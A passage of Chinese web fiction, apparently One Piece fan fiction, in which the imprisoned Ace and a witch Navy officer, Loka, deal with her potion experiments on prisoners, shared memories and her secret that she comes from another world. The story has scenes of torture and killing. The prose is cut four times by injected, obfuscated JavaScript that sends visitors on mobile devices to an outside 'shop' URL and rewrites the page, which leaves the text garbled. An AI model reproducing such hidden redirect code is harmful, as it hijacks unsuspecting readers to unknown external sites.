确实很香,久未闻过酒味的艾斯在看到她倒酒的那一瞬间眼睛就亮了亮,酒香徐徐溢出,萦绕在艾斯的口鼻之间,他几乎立刻就把实验抛到了脑后:“多谢。” 等艾斯咕嘟咕嘟把这杯酒咽下肚,洛卡又从箱子里拿出几样下酒的小菜,是用保鲜膜包好的花生米和炸馒头片:“这些是我从单位食堂打包的,我也拿不出别的了,别嫌弃。” 艾斯也没跟她客气,拈起一片馒头片放进嘴里,客气又大方地赞赏了一句:“海军的食堂倒还不错。” 洛卡把一整盘花生米都推给了他:“你这人还挺上道的。正好我眼看着快要入职你们海贼团了,得趁现在跟你处好关系。” 艾斯动作一滞:其实他觉得没那个必要了,但到底也没把这煞风景的话说出口。 酒过三巡,洛卡说话已经有点大舌头了,眼前的所有东西都带着重影——她一杯接一杯地给艾斯倒酒,一瓶酒有大半都进了艾斯的肚子。她一手捏着酒杯,一手揽着艾斯的肩膀,絮絮叨叨地发着牢骚:“唉其实你这个项目……因为是个空壳项目上面都不给补贴,我来回交通费也不给报,害得我只能坐那种最便宜的公交船,每天起个大早不说,那船上颠簸摇晃根本补不了眠……上次在你这睡觉出了洋相,我就也不太敢睡了,我现在每天就是晚上睡不够白天睡不醒,我真怕我哪天猝死……” 说着说着她的声音渐渐小了,手指一松,手里的玻璃杯咕噜咕噜地滚出去,直到撞上艾斯的小腿才停下。 艾斯关切道:“那你现在睡会儿吧?我看着你,不会叫你出洋相的。” 然而洛卡此时毫无睡意:“我说艾斯……嗝。”她茫然地去找自己的杯子,“我去查了……查了你的事。你是因为杀了另一个海贼被抓的,这个海贼好像……杀了你的兄弟还是怎么回事?” “你是说蒂奇吧。”艾斯眼中透出几分戾气,“确实如此……但也不能算是我杀的,准确地说如果不是我弟弟一直跟在身边的话我也杀不了他,怎么忽然问起这个?” “其实这个事不对。”洛卡拍了拍自己的脸让自己清醒点,“我原来……我以为我只是一个旁观者,你们这些在这个世界里至关重要的人不管做了什么都不关我的事。但我这一查才发现……那个蒂奇,居然已经死了。” “是啊……你怎么了?”艾斯有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052196|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些奇怪,“他是死了,我眼看着他烧死的。” “你知不知道他其实是你们这个世界的大反派啊?”洛卡说到这里颇有几分激动,“他、他本来该留到最后,给你弟弟去杀的……等会刚才你说什么,他是你和你弟弟一块杀的?” “是。”艾斯担忧地扶了她一把,“这事你怎会不知道?莫非前线的事情你的上级对你还会有所隐瞒?” “不、不是。”洛卡用力抓住他的手臂,“是这里的剧情……不对,是这里的情况,这里的【现实】,已经和原来不一样了,你懂吗?!” 艾斯根本没理解她在说什么,诚实地回答:“我不懂。” “就是说,至少关于你的故事线,已经和原先我了解的不同了!”洛卡脸颊已经有些酡红,“既然连大反派的【现实】都能改变,你的现实也一定可以改变的!说不定你这次就能活下来啊艾斯!你别总觉得你死了就什么事都解决了。如果你死了,身为海军的我背叛政府投了海贼,海军还会继续盯着你们白团的,就算你死了他们也不会放弃对白团的特殊关注,你懂不懂啊!” 艾斯一愣。 “我、我说你为什么这么坦然,这么不怕死,原来是因为杀了蒂奇你觉得你对你那个枉死的兄弟已经有所交代、你完成了你该完成的事,所以没有执念了对吧?”洛卡用力拍了拍他的脑袋,“你一开始说你不爱逃避我还信了,但你这不就是逃避吗?你不想从你的死劫中逃避,是因为你死了刚好能逃避你最不想面对的事实——你是罗杰的儿子,你活着一天就会给白团多添一天的麻烦!” 她今天要说的话太大胆了,所以必须喝点酒壮胆。 艾斯面色一凛:“你……” “我知道我知道,你明明想救我却被我大骂一顿,现在肯定在心里说我没良心呢吧?” “我没有……” “你想岔了艾斯!”洛卡伸出双手抓住他的脑袋,“你自己都知道那白胡子一定会带人来救你,却总是过不去死人那关,那死人知道了都要嘲笑你!你的身世麻烦那又怎样,你都能叫我这个陌生人去麻烦他们,那你自己回去继续麻烦他们又能怎么?所谓亲人不就是互相麻烦又互相帮忙的关系吗!” “但是……” 但是洛卡身份特殊,不是她需要白团,而是白团之中有人需要她。 “我知道你其实心里很明白,但你缺个人跟你反复强调这些。”她抬起头对他嘻嘻一笑,“人的情绪总会反复拉扯,你只是被关在这里久不见光,所以才会被负面情绪拉走——让你想走、想离开这里,这就是我要对你做的洗脑工作。” 艾斯沉默。 洛卡静了静,声音也小了下去,“你的家人是你自己选择的,这是很幸运的事。所以……” 她忽然抬头,用自己的脑袋撞了他的脑袋一下,“我想帮你找到你的家人,想看到你能继续和他们生活在一起。过去八年我都不知道我到底要做什么、该做什么才好。艾斯,我现在想帮你回家,这是我在此世生活这么多年,第一件我自己想做的事。” 5. 005 005 她这么说着的时候,双手还伸出去用力薅住艾斯的头发向上一提,艾斯被迫抬起脸来看着她,没注意到脚边已经被喝到空瓶、只有玻璃壁上还挂着几滴酒液的瓶子里闪过一丝浅紫色的亮光:“……你喝醉了,你冷静些。” 洛卡大笑着松开了他,似真似假地回答:“我没有醉。” * 这天洛卡罕见地没去推进城,而是坐长途公交船去海军总部交了报告,中午午休时在食堂和外卖之间犹豫了一下,还是选了稍微便宜点的食堂。 拿着餐盘选了个偏僻的餐桌坐下,洛卡拿起叉子翻了翻面前的意面,兴趣缺缺地用叉子卷起一点送进嘴里,还没来得及咽下去,餐桌对面又落下一个餐盘,是有人坐在了她的对面。 是许久未见但依旧没什么变化的鹤。 洛卡朝这位头发雪白慈眉善目、看上去完全不像海军的慈祥老太太礼貌地笑了笑:“中将,好巧啊。” “又一个人吃饭吗?”鹤将餐盘放下,“最近工作情况似乎不怎么顺利啊?” 洛卡的笑意丝毫未变:“是啊,您看过我提交的新报告了?” “按你的要求,近期他们应该会停止对艾斯用刑。”也许是因为说起了正事,鹤面上的笑意略收敛了些,“之前你在一个月内连打十八份报告要求把艾斯拉入你的计划,现在计划正式开始了,你却迟迟不把艾斯投入你的实验……之前你的实验对象里也有不少自然系能力者吧,是艾斯对你来说有什么特别之处吗?” 没有实验过吗? 其实已经试过了,但是失败了。 洛卡平静地撕开番茄酱,淋在被炸焦的小鸡块上:“时机还没成熟。而且真正投入实验需要将他转移到实验场去,那就得离开推进城了——他可是罗杰的儿子,据说海军费了九牛二虎之力、不惜买通海贼才抓到他,让他就这么离开推进城,恐怕中将也舍不得。” 很多重犯都不能离开推进城,所以两年前海军高层专门为此开了个会,在推进城内给洛卡辟了个工作室出来。 想到这里洛卡忽然笑了:“如果他出不来,我就得安排设备进去——设备方面产生的许可流程等等事宜,还希望鹤中将手下留情别卡太死。” 鹤没动刀叉也没起身,只是定定看着洛卡。洛卡在这种意味不明的凝视下倒像是产生了食欲似的,开始不紧不慢地吃饭。 “洛卡。”鹤叹了口气,“艾斯的处刑日越来越近,你就快没有时间了。” “比起这种事。”洛卡将叉子搁在一旁,喝了一口玉米汁,“您更该担心的难道不是在处刑之前发生艾斯不幸死在我的工作室里这种意外吗?” “你不必说这样的话。”鹤有些头疼,“这个实验开始至今,除了死了好些实验对象之外也没有什么成果,我会和上级请示,差不多就停止吧——这样,你也能从推进城回来,不必再和一群海贼共事了。” “您弄错了,中将。”洛卡还是笑着,语气也十分温和,“我和推进城那群海贼并非同事关系,他们只是实验室里的小白鼠而已。而且,这个计划已经进行了这么久,不是说停就能停的,就算是您,恐怕也无法改变什么。” 说到这里她转过头去看向食堂窗外,蓝白的天空中正飞过去一群海鸥,“其实只要我还活着一天,这实验就停不了吧?” 她这么说着,端着餐盘站起身来,“下午我就要回到推进城去了,既然大家都知道我的时间不多了,那就麻烦各位尽快通过我的申请,让我需要的设备三天内就出现在推进城,那就真的帮我大忙了。” 说完她就走了,动手将没怎么动过的餐被扔进泔水桶,洛卡心想:反正这里的餐也不怎么好吃,回头在外面买点吃的回去跟艾斯一块吃好了。 眼看洛卡离开,鹤从自己怀中拿出一个电话虫:“……你那里的事情办得怎么样了?” 对面回答得很恭敬:“中将,按您指示的,都办好了。” “好。”鹤挂掉了电话,“希望是我杞人忧天吧。” * 艾斯今天没等到洛卡,过了中午才想起,她说过今天要回去述职,一大清早就得走,回来可能要深夜了。 他一直在这里待着,日光照不进来,时间概念在他这里早就模糊了。但洛卡来了之后每天都在他跟前卡点午休卡点下班,导致他开始习惯性地注意时间。 下午两点多的时候,有两个狱卒推门进来,说是根据洛卡少佐的吩咐,要把他转移到实验室去。 当时他一边庆幸自己之前叮嘱过洛卡用魔法将断裂的锁链复原,一边疑惑地问道:“洛卡她人都没回来,怎么忽然要开始实验?” 狱卒头都没回:“我们只是接到指示照办而已。另外,你不能直呼洛卡少佐的名字。” 艾斯不悦地皱眉,却也不再争辩,沉默着跟着他们到了实验室。 实验室距离洛卡的工作室不远,里头却宽敞多了。一进门艾斯第一眼看到的就是通道两旁摆得整整齐齐的玻璃罐,盛满了浅紫色的不明液体,各种巨兽和不同人种的尸体在液体中沉沉浮浮。 艾斯甚至看到了几个上过通缉令的海贼和还未脱下制服的海军。 狱卒将他绑在了正中央的试验台上,先用锁链将他绑了个严实,紧接着又将一个连接着紫色软管的细针扎进他手腕上的静脉里:“你运气好,这设备可都是新到的。” 直到那针全部没入艾斯才发现,那不是一根紫色软管,而是透明软管里装满了紫色的液体。 和玻璃罐里是同一种吗? 他无暇去想这些,冰凉的液体被注入体内的一瞬间他就感受到了一种尖锐的痛苦——那东西和海楼石不同,缓缓流入血管的同时似乎还在侵蚀血管——艾斯下意识地低头去看自己的手,表面没有任何异样,只是在轻微颤抖。 剧痛的同时脑中还浮起一些奇怪的记忆碎片——不是他的,这些记忆大概属于之前坐在这试验台上的受刑者。受刑者的痛苦和他的痛苦重叠了,他听到不止一个受刑者的惨叫在耳边响起,求饶和咒骂声不绝于耳;他看到洛卡站在对面,面无表情地看向自己。 不,她看的大概是之前的受刑者。 他尽力不叫出声来——之前受刑他一直是这么做的。紫色的液体现在已经穿过他的四肢百骸,蔓延至他体内每一处血管。他眼前的幻象越来越多,体内不断传出痛苦的灼烧感。 在那些几乎要将他震聋的惨叫声中间,他忽然听到一道耳熟的女声:“……现在痛感如何?” 艾斯一惊,猛地抬头:这是洛卡的声音! 这回抬头,他看到洛卡的手正搭在自己的肩膀上,而“自己”此时正穿着海军制服—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052197|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来海军也在她这里受过刑? 艾斯感到自己的脸颊上浸满了眼泪,喉中发出一道全然陌生的声线:“对不起,对不起,求你饶了我……我真的不记得了……” 洛卡耐心地劝道:“怎么会不记得呢?那孩子黑头发、红眼睛,身高还不到你的胸口,在你率领的小队手里受了重伤。我只是想问问她到底是怎么死的,因为你们没有找到她的遗体。” 洛卡的五指渐渐收拢,艾斯感到肩膀上传来一股尖锐刺骨的剧痛。 那海军惨叫连连:“求求你……求求你……洛卡少佐,我真的不记得了,可能,可能你找错人了……” ——不对。 艾斯分明是记得的——是来自那海军的记忆和感受。他确实看到一个身高不过胸口、身形瘦削黑发披肩的女孩正站在自己的眼前,而自己正朝她举着枪,子弹从枪//口飞出,贯穿了她的肩膀。 那女孩确实生着一双漂亮的红瞳,中弹时她的身体不受控制地后仰,那双瞳孔之中不加掩饰地迸发出雪亮的恨意来。 紧接着子弹接二连三射//出,女孩单薄的躯体很快倒下,在地上抽搐了一会儿便不动了。一直被她紧紧握在手里的魔杖也因此脱手,被银杖托在顶端的红宝石染了主人的鲜血,被涂抹出大块妖冶的血色。 看来那女孩的确被这海军所杀。 眼前的洛卡一愣,忽然笑出声来:“你是以为不说实话就可以逃过一死吗?好,看来海军之中尽是贪生怕死之徒。” 她松开了海军的肩膀,艾斯却觉得肩膀处的疼痛丝毫不减;紧接着她变魔术似的从怀里掏出一块紫水晶:“你的身体会从肩膀处开始溃烂,刚才打进你体内的魔药会在一周内慢慢侵蚀掉你的血管、骨骼和内脏,你会在卧床数年后死于髓纤和白血病。但你放心,现在你还死不了。” 艾斯从未见过如此残忍的洛卡,她脸上还是在笑,那笑和面对他的时候也是相似的,但他却觉得这样的她十分陌生。 只有说起她的朋友的时候,她的笑才会短暂消失。 他也会死于那个髓纤吗? 眼前一晃,似乎是场景变了。他不知道自己这次又变成了谁,只听洛卡的声音从侧后方传来:“告诉我当初屠岛的命令是谁下的,我可以不杀你。” 他听见“自己”笑了一声,又发出一道较为浑厚的男声:“这重要吗,洛卡小姐?无非是上头需要、我们执行罢了。洛卡小姐,不是只有你的家人死于忠诚!被政府和海军重视是你的幸运!” 洛卡哈哈大笑起来,他没听清洛卡说了些什么,只觉得自己的心口忽然一空,意识忽然模糊起来,低头一看,原来是胸口处自后向前扎进一把锋利但形状奇怪的匕首,再仔细一瞧,才发现那不是匕首,是一块削尖了的紫水晶。 ——“艾斯!” 忽然洛卡的声音又在前方响起,他茫然地抬头,已经分不清自己看见的究竟是现实还是幻境。这一次他看见洛卡推开门朝他疾奔而来,语气中满是他从未听过的惶急,“艾斯,你没事吧?你还听得到我的声音吗?” 他感到手腕一痛,是她猛地拔掉了那根针头。 痛楚和记忆碎片如潮水般褪去,他的四肢已经失去知觉,好在声带还没被那魔药麻痹:“洛卡……你快走吧。你应该离开这里,再这样下去,你会疯掉的。” 6. 小艾的梦想 006 艾斯是被烫醒的——他很惊奇自己竟然还会有这样的感觉,睁眼一看,原来是洛卡正在他心口上施法。 他有些不信,又定睛一看:确实是在施法。她紧闭双眼,双手交叠放在他的胸口,有浅紫色的雾气正从她指间溢出,缓缓流进艾斯的身体。 他出声提醒:“洛卡?” 洛卡一惊,即刻撤回了自己的手:“你醒了?” 她看上去比几天前更为疲惫,双颊凹陷,身形都消瘦了些。 他惊讶地感到自己眼下没有任何不适,连一点眩晕感都没有,不觉幸运反觉奇异:“我昏迷了多久?” “两天……快三天吧。”洛卡说着,又摇摇头,“我没注意时间。但是你体内的魔药总算都清除了,接下来只要好好休息就没事了。” 原来刚才她那举动是在帮他清除魔药。 “竟然已经三天了。”艾斯坐起来环顾了一下周围——他现在竟然正躺在一张病床上,侧前方是那几个眼熟的玻璃罐,显然他还在那个实验室里。 “洛卡,你看上去脸色很差,这三天究竟发生了什……” 艾斯话音未落,洛卡忽然剧烈咳嗽起来。 他想去扶她一把,却见她自己扶着床沿站了起来,担忧地朝天花板上望了一眼。 上面有什么东西吗? 艾斯跟着朝上面看了一眼,除了陈旧的灯管什么也没看到。 “是我连累你了,艾斯。”她重新坐下,深深地叹出一口长气,“我确实没有时间了。我本来想把你拉进我的研究来尽量延迟你的处刑,可惜拖延毕竟不能真的解决问题。我想这次你突然出事就是一种警告吧。” “其实你……”艾斯小心地看了她一眼,“为什么事到如今还要救我呢?如果只是想要开启那扇门,你已经失败了吧?” 洛卡抬头,又看了天花板一眼:“所以,你是想说接下来就算不管你了也没问题是吗?” 艾斯愣了一下。 “如果不管你的话,魔药就会慢慢侵蚀你的血管和心脏,你会很快变成一具外表不腐但内里腐坏溃烂的活死人,在常人无法想象的痛苦中煎熬多年才能死去,即使你是能力者也一样。”洛卡忽然笑了起来,无视他的不适应伸出手去摸了好一阵他的脑袋,“可是你还有家人,你原本是能实现梦想的。” 她认真地看着艾斯,“你的梦想不就是一直和家人在一起吗?” * 最终她还是没能和艾斯吃上那顿饭,而是临时改变了计划,从狱卒处拿到了艾斯入狱前的私物。 艾斯已经被关回了工作室。 她先将帽子和匕首放在工作室的桌上,让身后的狱卒把新到的设备抬了进来。 说是设备,乍一看却也和艾斯在实验室里看到的玻璃罐差不多,里头盛满了紫色的不明液体,大概是洛卡研制的魔药。 设备放下之后,洛卡走到艾斯身边,切断他的锁链之前转头对身后的狱卒礼貌地轻声道:“到这里就可以了,谢谢。” 狱卒一惊,虽然对方用了很礼貌的语气但他们还是感到背后发寒,对她鞠了个躬便出去了。 洛卡疲惫地抓了抓自己的头发,低声对自己说了一句:“这样还是不行。”想挤出个笑来却失败了,只好对艾斯苦笑道,“抱歉,似乎是因为被你发现了本性,所以没办法调整出之前那样的态度了。” 艾斯甩开数不清断了第几次的锁链站起身来:本性?她是指他在试验台上看到的那些记忆碎片吗? “我要钻进这里去吗?”他指了指那个玻璃罐,“你应该不是想要淹死我吧?” “怎么会呢。”洛卡忍俊不禁,“你可是我的救命稻草——啊,说到这里,我得向你坦白一件事。” 艾斯奇道:“什么事?那救命稻草又是怎么回事?” “之前我以为你是我的同类的时候,不是强行拉着你做了一次实验吗?结果失败了。”洛卡有些尴尬地将手背到身后去,脚尖还踮起来在地上不安地跺了一下,“其实那时候我想的是……” “是利用我回到自己的世界去、从此再也不回来吗?”艾斯这么说着,面上竟然毫无怒意,“你不准备回来,我自然也回不来了,是吗?” 洛卡惊讶地瞪圆了一双湛蓝的眼睛:“你都知道?” “你既然要骗人,何必把那魔法阵的原理告诉我呢?”艾斯看着她的眼睛说道,“双门共振才能打开一条缝,那我想回来的时候若是你不肯配合我不就被留在那了吗?就这么点事,随便一想就明白了……之前你救我花了不少力气吧?这样就算扯平了。” 洛卡的眼睛掩藏在凌乱的额发之下,有些看不真切:“可是人们不都说,谎言是由一部分的真相和一部分的假象构成的吗?” “真话实在说太多了啦。”艾斯跳到玻璃罐的边沿上,“直接跳进去就行吗?” 洛卡惊道:“你竟然还愿意相信我吗?” 艾斯坐在玻璃罐上头居高临下地看着她,说话时语气中却没有丝毫俯视的意味:“因为你不也和我坦白了之前撒谎的事吗?说实话,我还以为你永远都不会提起这件事了呢。” 洛卡抓了抓被他弄乱的头发:“好吧……这里面装的东西和试验台的不一样。”洛卡敲了敲那个玻璃罐,“是掺着一些回忆的东西……那些回忆,可以算是我的,也可以算是你的。” “……什么意思?” “是我到这个世界来之前了解到的关于你的事。我尽量按照我的记忆还原了,但时间线可能不太准确、人物形象或许也不那么清晰,在你看来或许会像一个梦魇吧。”洛卡苦恼地解释道,“我尽力了,我只是想让你知道眼下的情况和原本的剧情有何不同……” “剧情?” 艾斯更为不解,神色逐渐严肃起来,“剧情……你之前喝醉酒的时候好像也提过这个词,那时候我还以为那是你的醉话……所以,这个词到底是什么意思?” “你进去之后就知道了。”洛卡忽然漂浮到半空直接将他推了进去,“你放心,不会淹死你的,你可是我逃离这里的希望呢。” 最后半句被魔药隔绝在空气之外,艾斯没听真切。 他带着一腔疑惑跌进魔药里,不可思议地没有任何溺水的窒息感。 但第一眼看到的却不是洛卡所说的关于他的梦魇,而是洛卡本人。 确切地说,是他察觉到自己变成了洛卡本人,就像之前在试验台上一样,洛卡的感受和记忆覆盖了他。她这时候大约只比餐桌高一点点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052198|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是个孩子。 面前站着一个面目模糊的海军,他仰起头去尽力地看,却还是没能看清那人的面容。那海军手里拎着一个还在说话的人头——那人头的脖颈处鲜血淋漓,是被硬生生扯断的,双唇却还在诡异地一开一合: “……少主,我们一族就算战死,也绝不可再次任人宰割、为人家奴!” 洛卡吓得尖叫一声跌坐在地:“我、我明白,我绝对不能被海军带走……” 艾斯共享了她的视角,眼睁睁地看着她从自己的怀中拿出一根削尖了的紫水晶,双手颤抖地要朝自己的脖颈刺去——被那面目模糊的海军阻止了。那海军甩开了那个人头,伸手强硬地抓住了洛卡纤细的手腕,力大到几乎将她的手腕捏碎。 洛卡痛得惨叫:“放开我!” “交出那水晶球。”海军的开口了,艾斯只勉强辨认出那是个男声,“我可以不杀你。” 艾斯一怔:在实验台逼供海军的洛卡似乎也说过类似的话。 “你们一开始就是冲着水晶球来的吗?”年幼的洛卡痛得眼泪簌簌下落,“我们避世而居,从未得罪过政府和海军……” “这些是你的家主告诉你的吗?”那海军用模糊的面目和声线威胁她道,“谁说你们从未得罪过人?你们巫师一族自古便是天龙人的仆从,所有的财产和资源都是天龙人的恩赐,包括这座你们用祖产买下的孤岛。数百年前你们举族叛逃、不知所踪,追杀你们从来都是我们海军的任务。” 那又关洛卡什么事呢? 艾斯想着,她只是一个刚到此地没几年的异乡人,她的家是东欧某片不知名的森林。 洛卡瑟缩着哭道:“我真的不知道这些,求你放开我……” 手腕上的力度不曾减弱,但那男人似乎是被还是个孩子的洛卡这无助的哭闹迷惑,轻敌了一瞬,转开了视线——就是这一瞬间,洛卡抓住了机会,未被禁锢的左手向上一挥,一块指甲盖大小的紫水晶被生生摁进了那人的眼睛里。 她止住了哭声,尽力镇定下来,说话时声音里还带着些哭腔:“不过是一条走狗,也敢在我跟前放肆。” 艾斯几乎被她这前后的反差吓住了——然而回过神来,眼前却突然换了个场景。 阳光明媚万里无云,湛蓝的天空下有连绵的山坡,山间有溪流潺潺穿过,山腰长满了需三四人环抱的树木,叫不出名字的野花野草一直蔓延到山下——明明是怡人的春景,不远处却传来陈腐垃圾特有的恶臭。 艾斯愕然:这是他小时候生活过的山坡! ——“喂!艾斯!” 身后传来一道耳熟的呼唤,艾斯受惊转身,看到许久不见的萨博正站在一棵大树的树杈上用力地朝他挥舞着手里的钢管,“你愣在那里干什么呢?我又在外面弄到钱啦,你过来看看我的战利品呀!” 艾斯一低头,发现自己手里也正捏着一根钢管,身上还穿着幼时从垃圾场捡来的T恤,袖子已经卷了边。 不同于刚才那些被覆盖了感官的记忆,现在、眼下,这些幻觉是如此真实,早已死在过去的萨博竟然又这样活生生地出现在了他跟前。 这是……洛卡给他准备的又一场谎言吗? 他觉得眼眶一热,泪水已从脸颊上滑落下来。 7. 快施法呀让我瞧瞧你的厉害 007 一转眼,艾斯在这幻境里已经过了半个月。 所有的一切都和小时候一样,有些时候艾斯甚至会忘记自己已经长大过一遍的事实,睡醒一睁眼不是和萨博漫山遍野地瞎跑就是道山下去吃霸王餐,再不然就是抢劫一下路过的山贼海贼什么的,日子过得童真而温馨。 直到有一天,他和萨博抢劫回来路过垃圾场的一个小木屋,听到了里头传出一阵吵嚷的对话声,二人一时好奇,便凑近小木屋扒着窗子朝里头望了望。 萨博有些惊奇地低声道:“这个地方什么时候出现了这么一个小木屋啊?大夏天的里头还烧着壁炉呢,里边的人也不嫌热。” 木屋里头果然烧着壁炉,壁炉旁放着一张木椅子,椅子上坐了个留着一头白色羊毛卷发的小姑娘,真的很小,大约三四岁的模样,穿着一身过大的黑色长袍,肩膀上还披着一块羊毛披肩,衣摆都垂地了她的双脚都没能够到地面;她面前摆着一个巨大的水晶球,她正在通过那水晶球观察外面的世界,不时咯咯笑着,完全没注意到扒在侧边窗台外的两个少年。 先前艾斯听到的吵嚷声便是来自那水晶球。 屋内的热气几乎要扑到艾斯和萨博的脸上,和屋外完全是两个季节。 萨博被热气扑面后退了半步,因此没注意到水晶球内的画面又切到了一个车间,一个工人拿起艾斯从未见过的、面罩似的工具举到跟前,紧接着他身前的金属忽然发出了一阵刺眼的火花,火花消失后那金属便被切割成了两半。 艾斯忽然明白了:先前那个工具是为了从火花当中保护眼睛的,所以才要举那么高,几乎覆盖全脸。 看着看着,艾斯将目光从水晶球转移到了那女孩身上。似乎是因为没有播到她感兴趣的画面,因此他看到她的时候,她恰好对着水晶球里的火花打了个哈欠。从艾斯的角度只能看到她圆乎乎白生生的侧脸。 “喂,艾斯。”萨博屈起手肘捅了捅艾斯的手臂,“你认识她吗?之前好像从没见过啊?” 认识她吗? 艾斯歪着头想了好一会儿,忽然浑身一震:“我……认识的,应该是认识的,但是不知道为什么之前都忘记了……她叫……对,她叫洛卡。” 此时窗内的洛卡却像是听到了艾斯的话似的,转过身来惊奇地看着他:“你是谁?你怎么会知道这个名字?” * 艾斯从梦里惊醒,险些一拳将玻璃罐砸碎:“洛……洛卡!” 趴在桌边昏昏欲睡的洛卡被他这一嗓子喊得险些跳起来:“怎么了?怎么了?” 艾斯水淋淋地从玻璃罐里跳了出来:“现在什么时候了?我在玻璃罐里待了多久?” 洛卡看了一眼墙上的钟:“下午……不对,应该是凌晨三点。你在里头大概过了十三四个小时吧?”她站起来拍了拍自己的脸,“完了完了错过了末班船今天得骑扫帚回家了,万万没想到我还有自耗魔力解决通勤问题的一天,这和贴钱上班有什么区别……” “那你今天干脆就睡这好了,我有好多问题想问你!”艾斯双眼放光地拖了张椅子坐到她对面,“我在那里头过了半个月。”他指了指那个玻璃罐,“但是现实生活中却只到第二天的凌晨三点欸!” 洛卡揉了揉酸胀的双眼,不懂他突然之间发什么疯:“是啊,那可是我精心调制的魔药,时间流速要是和外头一样的话我还当什么女巫……” “我还在里头看到你了!” 洛卡哈欠打到一半僵住了:“你说什么?”她腾地站起身来,“不可能,我调制的时候把关于我自己的这一部分剔除了的!”她飞到半空中扒在玻璃罐边沿眯着眼睛瞧了那药液半晌,“……这气味不对啊,难道忘记放蜈蚣腿和兔子粪便了?” “什么!你们女巫还往魔药里放这些的吗?”艾斯抹了一把身上的药液,警觉地嗅起了身上的味道,“不过好像也没什么怪味……” 洛卡颓然地落回地面:“真的忘记放了。”说完她一脸凶相地飞过去抓住了艾斯的脑袋,“你没在里面看到什么吧?” “除了你们一族被海军抄家和你小时候在木屋里看电视的场景之外倒是没看到什么。” “……这最重要的不是什么都看到了吗!” 洛卡焦虑地在原地走过来走过去:“失忆药的配方是什么来着,好久没调有点忘了……噢好像需要三天前的新鲜尸体的手指,那我去停尸房看看好了。” 说罢抬脚就要走。 艾斯被她这可怕的配方整得毛骨悚然,上前几步一把拉住她的手臂:“不是,我还有很重要的事要同你商量。” 洛卡阴恻恻地看他一眼:“什么事?最好在你还没失忆的时候说清楚。” “我想借用一下你这个幻境。”艾斯对她双手合十抬到额前,作出一副祈求的姿势,“让我在里头做点训练——求你了,对外应该可以用实验一类的名目糊弄过去吧?” “你倒是替我想得挺周到。”洛卡冷哼一声,“你进去这一趟的主要目的还没说呢,看到什么不对劲的地方了吗?” “……噢。”艾斯挠了挠头,“确实是和现实有不一样的地方。”他斟酌了一下言辞,皱着眉头道,“我弟弟没有出现。” “啊?”洛卡奇道,“他怎么会没有出现?” 他弟弟不是原剧情的真男主吗? “或许,他本来不应该是我的弟弟吧。”艾斯说起这事面上竟一派坦然,“如果我没记错,他应该是在我和萨博被一个海贼头子抓到的时候从天而降砸晕那个海贼才对,但是在幻境里我和萨博都快被扔下海了他都没出现,最后我俩自己游到岸上了。” 洛卡有些疑惑:“嗯?你描述的这个开场白我为什么一点印象都没有?我当初还在水晶球上追平了连载来着……” “追平了连载是什么意思?”艾斯声音拔高了两度,“以及我进去之前你说的剧情到底是什么意思?” 这下轮到洛卡斟酌言辞了:“……呃,简而言之,你们海贼这个世界实际上只是我那个世界里某个国家某个漫画家的作品,漫画你看过吧?你是那部漫画里的一个角色,我是那部漫画的一个观众,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052199|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至不是一个国家的,只是后来我来了这里才先后遇上这些事……不过其实你也不用在意这些,对你来说我只是一个异世之人,提前看到了一部分这里会发生的事而已。” 艾斯倒是没有纠结角色不角色的:“所以,你从一开始就认识我?” 洛卡尴尬地沉默。 艾斯就当她默认了:“之前你怀疑我是你的同类,尝试失败之后却还是没放弃我,大概是因为你虽然暂时放弃了回到自己的世界,却还是想通过我离开海军吧。” 洛卡气鼓鼓地说道:“这件事不是早就确定了吗?这还是你主动提议的,你敢现在把我甩了我就敢现在跟你拼了!” “可你也不愿意拿着我给你的东西直接去找我的家人。” 洛卡看了一眼桌上的匕首和帽子,不以为然道:“我不喜欢欠别人人情。既然你愿意给我寻个去处,我也愿意为你尽点绵薄之力。” 艾斯闻言高兴地跳了起来,身上残留的魔药险些溅到洛卡身上:“那正好,让我再进几次那个幻境吧?” “说了这半天你就在这等着我是吧?”洛卡怒瞪他,“你还要进去干嘛?” 